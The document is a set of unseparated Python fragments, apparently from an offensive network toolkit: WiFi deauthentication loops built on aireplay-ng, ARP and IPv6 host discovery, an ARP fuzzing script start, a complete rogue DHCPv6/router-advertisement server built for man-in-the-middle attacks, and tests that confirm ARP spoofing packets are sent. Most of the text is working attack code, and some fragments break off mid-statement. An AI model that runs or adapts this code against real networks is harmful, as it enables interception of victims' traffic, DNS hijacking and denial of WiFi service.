def deauth_packets_send(network_interface: str = 'eth0', network_channel: str = '1', network_bssid: str = '12:34:56:78:90:ab', mac_address: str = '12:34:56:78:90:ac', number_of_deauth: int = 5): global aireply_stop # Start target requests sniffer function threat_manager = ThreadManager(2) threat_manager.add_task(requests_sniffer, mac_address) # Set WiFi channel on interface for send WiFi deauth packets sub.Popen( ['iwconfig ' + network_interface + ' channel ' + network_channel], shell=True) # Start deauth packets numbers deauth_packets_number = number_of_deauth aireply_stop = False while deauth_packets_number < 50: # Check global variable aireplay_stop if aireply_stop: base.print_info('Stop aireplay-ng ...') break # Start aireplay-ng process try: base.print_info('Send WiFi deauth packets in aireplay-ng ...') aireplay_process = sub.Popen([ 'aireplay-ng ' + network_interface + ' -0 ' + str(deauth_packets_number) + ' -a ' + network_bssid + ' -c ' + mac_address ], shell=True, stdout=sub.PIPE) while True: output = aireplay_process.stdout.readline().decode() if output == '' and aireplay_process.poll() is not None: break if output: stdout.write( re.sub(r'(\d\d:\d\d:\d\d (Waiting|Sending))', base.c_info + r'\g<1>', output)) except OSError: base.print_error('Something else went wrong while trying to run ', '`aireply-ng`') exit(2) # Wait before sniff request packet from target base.print_info('Wait 10 sec. before sniff packets from target: ' + mac_address) sleep(10) # Add 5 packets to number of WiFi deauth packets deauth_packets_number += 5
def deauth_packets_send(): # Start DHCP or ARP requests sniffer function tm = ThreadManager(2) tm.add_task(dhcp_request_sniffer) sleep(3) # Set WiFi channel on interface for send WiFi deauth packets sub.Popen(['iwconfig ' + deauth_network_interface + ' channel ' + channel], shell=True) Base.print_info("Send WiFi deauth packets ...") # Start deauth packets numbers = 3 deauth_packets_number = 3 while not sniff_dhcp_request: # Start aireplay-ng process try: aireplay_process = sub.Popen([ 'aireplay-ng ' + deauth_network_interface + ' -0 ' + str(deauth_packets_number) + ' -a ' + bssid + ' -c ' + target_mac_address ], shell=True, stdout=sub.PIPE) while True: output = aireplay_process.stdout.readline() if output == '' and aireplay_process.poll() is not None: break if output: stdout.write( re.sub(r'(\d\d:\d\d:\d\d (Waiting|Sending))', Base.c_info + r'\g<1>', output)) except OSError as e: if e.errno == errno.ENOENT: Base.print_error("Program: ", "aireply-ng", " is not installed!") exit(1) else: Base.print_error( "Something else went wrong while trying to run ", "`aireply-ng`") exit(2) # Wait before sniff ARP or DHCP request packet sleep(5) # Add 5 packets to number of WiFi deauth packets if deauth_packets_number < 30: deauth_packets_number += 5
def search_router( self, network_interface: str = 'eth0', timeout: int = 3, retry: int = 3, exit_on_failure: bool = True) -> Dict[str, Union[int, str]]: """ Search IPv6 router in network :param network_interface: Network interface name (example: 'eth0') :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param exit_on_failure: Exit if IPv6 router in network not found (default: True) :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a', 'router_ipv6_address': 'fe80::1234:5678:90ab:cdef', 'flags': '0x0', 'router-lifetime': 0, 'reachable-time': 0, 'retrans-timer': 0, 'prefix': 'fd00::/64', 'vendor': 'D-Link International'}) """ # region Clear lists with scan results self.results.clear() self.unique_results.clear() self.mac_addresses.clear() # endregion # region Set variables self.router_search = True self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run _sniffer tm = ThreadManager(2) tm.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self.timeout) # endregion # region Return IPv6 router information if len(self.router_info.keys()) == 0: if exit_on_failure: self.base.error_text( 'Could not found IPv6 Router on interface: ' + self.network_interface) exit(1) return self.router_info
def get_mac_address(self, network_interface, target_ip_address, timeout=5, retry=5, exit_on_failure=True): try: # region Set variables self.target_ip_address = target_ip_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run sniffer tm = ThreadManager(2) tm.add_task(self.sniff) # endregion # region Run sender self.send() # endregion # region Wait sleep(self.timeout) # endregion # region Return if 'mac-address' in self.results[0].keys(): return self.results[0]['mac-address'] else: return "ff:ff:ff:ff:ff:ff" # endregion except IndexError: if exit_on_failure: self.base.print_error( "Could not find MAC address of IP address: ", target_ip_address) exit(1) else: return "ff:ff:ff:ff:ff:ff" except KeyboardInterrupt: self.base.print_info("Exit") exit(0)
def search_router(self, network_interface, timeout=3, retry=3): # region Set variables self.router_search = True self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run sniffer tm = ThreadManager(2) tm.add_task(self.sniff) # endregion # region Run sender self.send() # endregion # region Wait sleep(self.timeout) # endregion # region Return results return self.router_info
def scan(self, network_interface: str = 'eth0', timeout: int = 3, retry: int = 3, target_ip_address: Union[None, str] = None, check_vendor: bool = True, exclude_ip_addresses: Union[None, List[str]] = None, exit_on_failure: bool = True, show_scan_percentage: bool = True) -> List[Dict[str, str]]: """ ARP scan on network interface :param network_interface: Network interface name (example: 'eth0') :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_ip_address: Target IPv4 address (example: 192.168.0.1) :param check_vendor: Check vendor of hosts (default: True) :param exclude_ip_addresses: Exclude IPv4 address list (example: ['192.168.0.1','192.168.0.2']) :param exit_on_failure: Exit if alive hosts in network not found (default: True) :param show_scan_percentage: Show ARP scan progress percentage (default: True) :return: Result list of alive hosts (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': '192.168.0.1'}]) """ try: # region Clear lists with scan results self.results.clear() self.unique_results.clear() self.mac_addresses.clear() # endregion # region Set variables self.quit = not show_scan_percentage self.target_ip_address = target_ip_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run _sniffer tm = ThreadManager(2) tm.add_task(self._sniff) # endregion # region Run sender self._send() # endregion # region Wait sleep(self.timeout) # endregion # region Unique results for index in range(len(self.results)): if self.results[index][ 'mac-address'] not in self.mac_addresses: self.unique_results.append(self.results[index]) self.mac_addresses.append( self.results[index]['mac-address']) # endregion # region Exclude IP addresses if exclude_ip_addresses is not None: self.results = self.unique_results self.unique_results = list() for index in range(len(self.results)): if self.results[index][ 'ip-address'] not in exclude_ip_addresses: self.unique_results.append(self.results[index]) self.results = list() # endregion # region Get vendors if check_vendor: for result_index in range(len(self.unique_results)): self.unique_results[result_index]['vendor'] = \ self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address']) # endregion except KeyboardInterrupt: self.base.print_info('Exit') exit(0) if len(self.unique_results) == 0: if exit_on_failure: self.base.print_error( 'Could not find allive hosts on interface: ', self.network_interface) exit(1) return self.unique_results
# region Main function if __name__ == '__main__': # region Import Raw-packet classes path.append(dirname(dirname(dirname(abspath(__file__))))) from raw_packet.Utils.base import Base from raw_packet.Utils.network import RawEthernet, RawARP from raw_packet.Utils.tm import ThreadManager base: Base = Base() eth: RawEthernet = RawEthernet() arp: RawARP = RawARP() thread_manager: ThreadManager = ThreadManager(2) # endregion # region Raw socket raw_socket: socket = socket(AF_PACKET, SOCK_RAW) # endregion try: # region Check user and platform base.check_user() base.check_platform() # endregion # region Parse script arguments parser: ArgumentParser = ArgumentParser(description='ARP fuzzing script')
Base.check_platform() Base.check_user() current_network_interface = None src_mac_address = None src_ip_address = None src_port = None dst_mac_address = None dst_ip_address = None dst_port = None data = None tm = ThreadManager(3) response_sequence_number = 0 response_acknowledgement_number = 0 response_timestamp = 0 response_payload_len = 0 def sender(): sleep(5) SOCK = socket(AF_PACKET, SOCK_RAW) SOCK.bind((current_network_interface, 0)) sequence = randint(1, 1000000)
class DHCPv6Server: # region Set properties _base: Base = Base() _utils: Utils = Utils() _sniff: RawSniff = RawSniff() _eth: RawEthernet = RawEthernet() _icmpv6: RawICMPv6 = RawICMPv6() _dhcpv6: RawDHCPv6 = RawDHCPv6() _thread_manager: ThreadManager = ThreadManager(10) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv6-link-address': None } _target: Dict[str, Union[None, str]] = { 'mac-address': None, 'ipv6-address': None } _clients: Dict[str, Dict[str, Union[bool, str]]] = dict() _ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64' _ipv6_prefix_address: str = 'fde4:8dba:82e1:ffff::' _first_ipv6_address_suffix: int = 2 _last_ipv6_address_suffix: int = 65534 _domain_search: str = 'domain.local' _solicit_packets_delay: float = 1 _disable_dhcpv6: bool = False _exit_on_success: bool = False _quiet: bool = True # endregion # region Init def __init__(self, network_interface: str): self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=['mac-address', 'ipv6-link-address']) self._dns_server_ipv6_address: str = self._your['ipv6-link-address'] self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start DHCPv6 Server def start(self, target_mac_address: Union[None, str] = None, target_ipv6_address: Union[None, str] = None, first_ipv6_address_suffix: int = 2, last_ipv6_address_suffix: int = 65534, dns_server_ipv6_address: Union[None, str] = None, ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64', domain_search: str = 'domain.local', disable_dhcpv6: bool = False, exit_on_success: bool = False, quiet: bool = False) -> None: # region Set variables self._ipv6_prefix: str = ipv6_prefix self._ipv6_prefix_address: str = self._ipv6_prefix.split('/')[0] self._disable_dhcpv6 = disable_dhcpv6 self._domain_search = domain_search self._exit_on_success = exit_on_success self._quiet = quiet # endregion # region Set target MAC and IPv6 address, if target IP is not set - get first and last suffix IPv6 address # region Set target IPv6 address if target_mac_address is not None: self._target['mac-address'] = \ self._utils.check_mac_address(mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Target IPv6 is set if target_ipv6_address is not None: assert target_mac_address is not None, \ 'Please set target MAC address for target IPv6 address: ' + \ self._base.info_text(str(target_ipv6_address)) self._target['ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=target_ipv6_address, is_local_ipv6_address=False, parameter_name='target IPv6 address') self._clients[self._target['mac-address']] = { 'advertise address': self._target['ipv6-address'] } # endregion # region Target IPv6 is not set - get first and last suffix IPv6 address else: # Check first suffix IPv6 address self._first_ipv6_address_suffix = \ self._utils.check_value_in_range(value=first_ipv6_address_suffix, first_value=1, last_value=65535, parameter_name='first IPv6 address suffix') # Check last suffix IPv6 address self._last_ipv6_address_suffix = \ self._utils.check_value_in_range(value=last_ipv6_address_suffix, first_value=self._first_ipv6_address_suffix, last_value=65535, parameter_name='last IPv6 address suffix') # endregion # endregion # region Set recursive DNS server address if dns_server_ipv6_address is not None: self._dns_server_ipv6_address = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=dns_server_ipv6_address, is_local_ipv6_address=False, parameter_name='DNS server IPv6 address', check_your_ipv6_address=False) # endregion # region General output if not self._quiet: self._base.print_info('Network interface: ', self._your['network-interface']) self._base.print_info('Your MAC address: ', self._your['mac-address']) self._base.print_info('Your link local IPv6 address: ', self._your['ipv6-link-address']) if self._target['mac-address'] is not None: self._base.print_info('Target MAC address: ', self._target['mac-address']) if self._target['ipv6-address'] is not None: self._base.print_info('Target IPv6 address: ', self._target['ipv6-address']) else: self._base.print_info('First suffix offer IP: ', str(self._first_ipv6_address_suffix)) self._base.print_info('Last suffix offer IP: ', str(self._last_ipv6_address_suffix)) self._base.print_info('Prefix: ', self._ipv6_prefix) self._base.print_info('Router IPv6 address: ', self._your['ipv6-link-address']) self._base.print_info('DNS IPv6 address: ', self._dns_server_ipv6_address) self._base.print_info('Domain search: ', self._domain_search) # endregion # region Send ICMPv6 advertise packets in other thread self._thread_manager.add_task(self._send_icmpv6_advertise_packets) # endregion # region Add multicast MAC addresses on interface self._add_multicast_mac_addresses() # endregion # region Start Sniffer # region Print info message self._base.print_info('Waiting for a ICMPv6 or DHCPv6 requests ...') # endregion # region Set sniff filters sniff_filters: Dict = { 'Ethernet': { 'not-source': self._your['mac-address'] }, 'UDP': { 'destination-port': 547, 'source-port': 546 }, 'ICMPv6': { 'types': [133, 135] } } scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address'] if self._target['mac-address'] is not None: sniff_filters['Ethernet'] = {'source': self._target['mac-address']} scapy_lfilter: Any = lambda eth: eth.src == self._target[ 'mac-address'] # endregion # region Start sniffer self._sniff.start(protocols=['IPv6', 'UDP', 'ICMPv6', 'DHCPv6'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='icmp6 or (udp and (port 547 or 546))', scapy_lfilter=scapy_lfilter) # endregion # endregion # endregion # region Add multicast MAC addresses on interface def _add_multicast_mac_addresses(self): self._base.add_multicast_mac_address( interface_name=self._your['network-interface'], multicast_mac_address='33:33:00:00:00:02', exit_on_failure=False, quiet=self._quiet) self._base.add_multicast_mac_address( interface_name=self._your['network-interface'], multicast_mac_address='33:33:00:01:00:02', exit_on_failure=False, quiet=self._quiet) # endregion # region Add client info in global self._clients dictionary def _add_client_info_in_dictionary( self, client_mac_address: str, client_info: Dict[str, Union[bool, str]], this_client_already_in_dictionary: bool = False): if this_client_already_in_dictionary: self._clients[client_mac_address].update(client_info) else: self._clients[client_mac_address] = client_info # endregion # region Send ICMPv6 solicit packets def _send_icmpv6_solicit_packets(self): try: while True: icmpv6_solicit_packet = \ self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], need_source_link_layer_address=True, source_link_layer_address=self._eth.make_random_mac()) self._raw_send.send_packet(icmpv6_solicit_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit') exit(0) # endregion # region Send DHCPv6 solicit packets def _send_dhcpv6_solicit_packets(self): try: while True: request_options = [23, 24] dhcpv6_solicit_packet = \ self._dhcpv6.make_solicit_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], transaction_id=randint(1, 16777215), client_mac_address=self._eth.make_random_mac(), option_request_list=request_options) self._raw_send.send_packet(dhcpv6_solicit_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit ....') exit(0) # endregion # region Send ICMPv6 advertise packets def _send_icmpv6_advertise_packets(self): icmpv6_ra_packet = \ self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac='33:33:00:00:00:01', ipv6_src=self._your['ipv6-link-address'], ipv6_dst='ff02::1', dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, prefix=self._ipv6_prefix, router_lifetime=5000, advertisement_interval= int(self._solicit_packets_delay * 1000)) try: while True: self._raw_send.send_packet(icmpv6_ra_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit') exit(0) # endregion # region Reply to DHCPv6 and ICMPv6 requests def _reply(self, packet): # region Get client MAC address client_mac_address: str = packet['Ethernet']['source'] # endregion # region Check this client already in self._clients dictionary client_already_in_dictionary: bool = False if client_mac_address in self._clients.keys(): client_already_in_dictionary = True # endregion # region Check MiTM status for this client self._check_mitm_status(client_mac_address=client_mac_address) # endregion # region ICMPv6 if 'ICMPv6' in packet.keys(): # region ICMPv6 Router Solicitation if packet['ICMPv6']['type'] == 133: # Make and send ICMPv6 router advertisement packet icmpv6_ra_packet = \ self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, prefix=self._ipv6_prefix, router_lifetime=5000) self._raw_send.send_packet(icmpv6_ra_packet) # Print info messages self._base.print_info( 'ICMPv6 Router Solicitation request from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')') self._base.print_info( 'ICMPv6 Router Advertisement reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')') # Delete this client from global self._clients dictionary try: del self._clients[client_mac_address] client_already_in_dictionary = False except KeyError: pass # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'router solicitation': True, 'network prefix': self._ipv6_prefix }, client_already_in_dictionary) # endregion # region ICMPv6 Neighbor Solicitation if packet['ICMPv6']['type'] == 135: # region Get ICMPv6 Neighbor Solicitation target address target_address: str = packet['ICMPv6']['target-address'] na_packet: Union[None, bytes] = None if target_address.startswith('fe80::'): if target_address == self._your['ipv6-link-address']: self._add_client_info_in_dictionary( client_mac_address, {'neighbor solicitation your address': True}, client_already_in_dictionary) else: na_packet = \ self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], target_ipv6_address=target_address) # endregion # region Neighbor Solicitation target address is DNS server IPv6 address if self._dns_server_ipv6_address != self._your[ 'ipv6-link-address']: if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \ self._dns_server_ipv6_address.startswith('fe80::'): if target_address == self._dns_server_ipv6_address: self._add_client_info_in_dictionary( client_mac_address, { 'neighbor solicitation dns server address': True }, client_already_in_dictionary) # endregion # region Neighbor Solicitation target address not in your ipv6 prefix if not target_address.startswith( self._ipv6_prefix_address) and na_packet is not None: for _ in range(10): self._raw_send.send_packet(na_packet) # endregion # region Neighbor Solicitation target address in your ipv6 prefix else: self._add_client_info_in_dictionary( client_mac_address, {'neighbor solicitation in ipv6 prefix': True}, client_already_in_dictionary) # endregion # region DHCPv6 advertise address is set # This client already in dictionary if client_already_in_dictionary: # Advertise address for this client is set if 'advertise address' in self._clients[ client_mac_address].keys(): # ICMPv6 Neighbor Solicitation target address is DHCPv6 advertise IPv6 address if target_address == self._clients[client_mac_address][ 'advertise address']: # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'neighbor solicitation advertise address': True }, client_already_in_dictionary) # ICMPv6 Neighbor Solicitation target address is not DHCPv6 advertise IPv6 address elif na_packet is not None: for _ in range(10): self._raw_send.send_packet(na_packet) # endregion # endregion # endregion # region DHCPv6 # Protocol DHCPv6 is enabled if not self._disable_dhcpv6 and 'DHCPv6' in packet.keys(): # region Get Client identifier and Identity Association for Non-temporary Address cid: Union[None, bytes] = None iaid: Union[None, int] = None for option in packet['DHCPv6']['options']: if option['type'] == 1: cid = option['value']['raw'] elif option['type'] == 3: iaid = option['value']['iaid'] if cid is None or iaid is None: self._base.print_info( 'Malformed DHCPv6 packet from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) return # endregion # region DHCPv6 Solicit if packet['DHCPv6']['message-type'] == 1: # Set IPv6 address in advertise packet try: ipv6_address = self._clients[client_mac_address][ 'advertise address'] except KeyError: if self._target['ipv6-address'] is not None: ipv6_address = self._target['ipv6-address'] else: ipv6_address = self._ipv6_prefix_address + \ format(randint(self._first_ipv6_address_suffix, self._last_ipv6_address_suffix), 'x') # Make and send DHCPv6 advertise packet dhcpv6_advertise = \ self._dhcpv6.make_advertise_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=ipv6_address, cid=cid, iaid=iaid, preference=255) self._raw_send.send_packet(dhcpv6_advertise) # Print info messages self._base.print_info( 'DHCPv6 Solicit from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) self._base.print_info( 'DHCPv6 Advertise to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', ipv6_address) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 solicit': True, 'advertise address': ipv6_address }, client_already_in_dictionary) # endregion # region DHCPv6 Request if packet['DHCPv6']['message-type'] == 3: # Set DHCPv6 reply packet dhcpv6_reply: Union[None, bytes] = None # region Get Client DUID time, IPv6 address and Server MAC address client_ipv6_address: Union[None, str] = None server_mac_address: Union[None, str] = None for dhcpv6_option in packet['DHCPv6']['options']: if dhcpv6_option['type'] == 2: server_mac_address = dhcpv6_option['value'][ 'mac-address'] if dhcpv6_option['type'] == 3: client_ipv6_address = dhcpv6_option['value'][ 'ipv6-address'] # endregion if server_mac_address is not None and client_ipv6_address is not None: # Check Server MAC address if server_mac_address != self._your['mac-address']: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: server mac address is not your mac address' }, client_already_in_dictionary) else: self._add_client_info_in_dictionary( client_mac_address, {'dhcpv6 mitm': 'success'}, client_already_in_dictionary) try: if client_ipv6_address == self._clients[ client_mac_address]['advertise address']: dhcpv6_reply = \ self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=client_ipv6_address, cid=cid) self._raw_send.send_packet(dhcpv6_reply) else: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: client request address is not advertise address' }, client_already_in_dictionary) except KeyError: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: not found dhcpv6 solicit request for this client' }, client_already_in_dictionary) # Print info messages self._base.print_info( 'DHCPv6 Request from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' Server: ', server_mac_address, ' IAA: ', client_ipv6_address) if dhcpv6_reply is not None: self._base.print_info( 'DHCPv6 Reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' Server: ', server_mac_address, ' IAA: ', client_ipv6_address) else: if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: server mac address is not your mac address': self._base.print_error( 'Server MAC address in DHCPv6 Request is not your MAC address ' + 'for this client: ', client_mac_address) if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: client request address is not advertise address': self._base.print_error( 'Client requested IPv6 address is not advertise IPv6 address ' + 'for this client: ', client_mac_address) if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: not found dhcpv6 solicit request for this client': self._base.print_error( 'Could not found DHCPv6 solicit request ' + 'for this client: ', client_mac_address) # endregion # region DHCPv6 Release if packet['DHCPv6']['message-type'] == 8: # Print info message self._base.print_info( 'DHCPv6 Release from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) # Delete this client from global self._clients dictionary try: del self._clients[client_mac_address] client_already_in_dictionary = False except KeyError: pass # endregion # region DHCPv6 Confirm if packet['DHCPv6']['message-type'] == 4: # region Get Client IPv6 address client_ipv6_address: Union[None, str] = None for dhcpv6_option in packet['DHCPv6']['options']: if dhcpv6_option['type'] == 3: client_ipv6_address = dhcpv6_option['value'][ 'ipv6-address'] # endregion # region Make and send DHCPv6 Reply packet dhcpv6_reply = \ self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=client_ipv6_address, cid=cid) self._raw_send.send_packet(dhcpv6_reply) # endregion # region Add Client info in global self._clients dictionary and print info message self._add_client_info_in_dictionary( client_mac_address, { 'advertise address': client_ipv6_address, 'dhcpv6 mitm': 'success' }, client_already_in_dictionary) self._base.print_info( 'DHCPv6 Confirm from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', client_ipv6_address) self._base.print_info( 'DHCPv6 Reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', client_ipv6_address) # endregion # endregion # endregion # endregion # region Check MiTM Success def _check_mitm_status(self, client_mac_address: str): try: if not self._disable_dhcpv6: assert self._clients[client_mac_address][ 'dhcpv6 mitm'] == 'success' # assert self._clients[client_mac_address]['neighbor solicitation advertise address'] else: if self._dns_server_ipv6_address != self._your[ 'ipv6-link-address']: if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \ self._dns_server_ipv6_address.startswith('fe80::'): assert self._clients[client_mac_address][ 'neighbor solicitation dns server address'] assert self._clients[client_mac_address][ 'neighbor solicitation your address'] assert self._clients[client_mac_address][ 'neighbor solicitation in ipv6 prefix'] assert 'success message' not in self._clients[ client_mac_address].keys() self._base.print_success( 'MITM success: ', self._clients[client_mac_address]['advertise address'] + ' (' + client_mac_address + ')') if self._exit_on_success: sleep(3) exit(0) else: self._clients[client_mac_address].update( {'success message': True}) return True except KeyError: return False except AssertionError: return False
class ScriptArpSpoofTest(TestCase): # region Properties variables: Variables = Variables() base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows']) context_manager: ContextManager = ContextManager() thread_manager: ThreadManager = ThreadManager(10) tshark_pcap_filename: str = join(variables.temp_directory, 'arp_spoof_test.pcap') # endregion def test01_main_responses(self): if isfile(self.tshark_pcap_filename): remove(self.tshark_pcap_filename) find_spoof_packet: bool = False arp_spoof: ArpSpoof = ArpSpoof( network_interface=self.variables.your.network_interface) self.thread_manager.add_task(arp_spoof.start, self.variables.router.ipv4_address, self.variables.target.ipv4_address, self.variables.target.mac_address, False, False, False, False, False) command = self.variables.tshark_executable + \ ' -i "' + self.variables.your.network_interface + \ '" -f "ether src ' + self.variables.your.mac_address + \ ' and ether dst ' + self.variables.target.mac_address + \ ' and arp" -B 65535 -w "' + self.tshark_pcap_filename + '"' if self.base.get_platform().startswith('Darwin'): Popen([command], shell=True, stdout=PIPE, stderr=STDOUT) else: Popen(command, shell=True, stdout=PIPE, stderr=STDOUT) sleep(5) self.thread_manager.close() if self.base.get_platform().startswith('Windows'): self.base.kill_process_by_name(process_name='tshark.exe') else: self.base.kill_process_by_name(process_name='tshark') self.assertTrue(isfile(self.tshark_pcap_filename)) try: packets = rdpcap(self.tshark_pcap_filename) for packet in packets: if packet.haslayer(ARP): arp_packet = packet[ARP] self.base.print_info('ARP opcode: ', str(arp_packet.op)) self.base.print_info('ARP sender MAC: ', arp_packet.hwsrc) self.base.print_info('ARP target MAC: ', arp_packet.hwdst) self.base.print_info('ARP sender IP: ', arp_packet.psrc) self.base.print_info('ARP target IP: ', arp_packet.pdst) if arp_packet.hwsrc == self.variables.your.mac_address and \ arp_packet.hwdst == self.variables.target.mac_address and \ arp_packet.psrc == self.variables.router.ipv4_address and \ arp_packet.pdst == self.variables.target.ipv4_address and \ arp_packet.op == 2: find_spoof_packet = True break except ValueError: pass except FileNotFoundError: pass if isfile(self.tshark_pcap_filename): remove(self.tshark_pcap_filename) self.assertTrue(find_spoof_packet) def test02_main_requests(self): find_spoof_packet: bool = False arp_spoof: ArpSpoof = ArpSpoof( network_interface=self.variables.your.network_interface) self.thread_manager.add_task(arp_spoof.start, self.variables.router.ipv4_address, self.variables.target.ipv4_address, self.variables.target.mac_address, False, False, False, True, False) command = self.variables.tshark_executable + \ ' -i "' + self.variables.your.network_interface + \ '" -f "ether src ' + self.variables.your.mac_address + \ ' and ether dst ' + self.variables.target.mac_address + \ ' and arp" -B 65535 -w "' + self.tshark_pcap_filename + '"' if self.base.get_platform().startswith('Darwin'): Popen([command], shell=True, stdout=PIPE, stderr=STDOUT) else: Popen(command, shell=True, stdout=PIPE, stderr=STDOUT) sleep(5) self.thread_manager.close() if self.base.get_platform().startswith('Windows'): self.base.kill_process_by_name(process_name='tshark.exe') else: self.base.kill_process_by_name(process_name='tshark') self.assertTrue(isfile(self.tshark_pcap_filename)) try: packets = rdpcap(self.tshark_pcap_filename) for packet in packets: if packet.haslayer(ARP): arp_packet = packet[ARP] self.base.print_info('ARP opcode: ', str(arp_packet.op)) self.base.print_info('ARP sender MAC: ', arp_packet.hwsrc) self.base.print_info('ARP target MAC: ', arp_packet.hwdst) self.base.print_info('ARP sender IP: ', arp_packet.psrc) self.base.print_info('ARP target IP: ', arp_packet.pdst) if arp_packet.hwsrc == self.variables.your.mac_address and \ arp_packet.hwdst == '00:00:00:00:00:00' and \ arp_packet.psrc == self.variables.router.ipv4_address and \ arp_packet.op == 1: find_spoof_packet = True break except ValueError: pass except FileNotFoundError: pass if isfile(self.tshark_pcap_filename): remove(self.tshark_pcap_filename) self.assertTrue(find_spoof_packet) def test03_main_bad_interface(self): with self.assertRaises(SystemExit) as result: with self.context_manager.captured_output() as (out, err): ArpSpoof( network_interface=self.variables.bad.network_interface) arp_spoof_output: str = out.getvalue() print(arp_spoof_output) self.assertEqual(result.exception.code, 1) self.assertIn(self.variables.bad.network_interface, arp_spoof_output) def test04_main_bad_gateway_ip(self): with self.assertRaises(SystemExit) as result: with self.context_manager.captured_output() as (out, err): arp_spoof: ArpSpoof = ArpSpoof( network_interface=self.variables.your.network_interface) arp_spoof.start( gateway_ipv4_address=self.variables.bad.ipv4_address) arp_spoof_output: str = out.getvalue() print(arp_spoof_output) self.assertEqual(result.exception.code, 1) self.assertIn(self.variables.bad.ipv4_address, arp_spoof_output) def test05_main_bad_target_ip(self): with self.assertRaises(SystemExit) as result: with self.context_manager.captured_output() as (out, err): arp_spoof: ArpSpoof = ArpSpoof( network_interface=self.variables.your.network_interface) arp_spoof.start( gateway_ipv4_address=self.variables.router.ipv4_address, target_ipv4_address=self.variables.bad.ipv4_address) 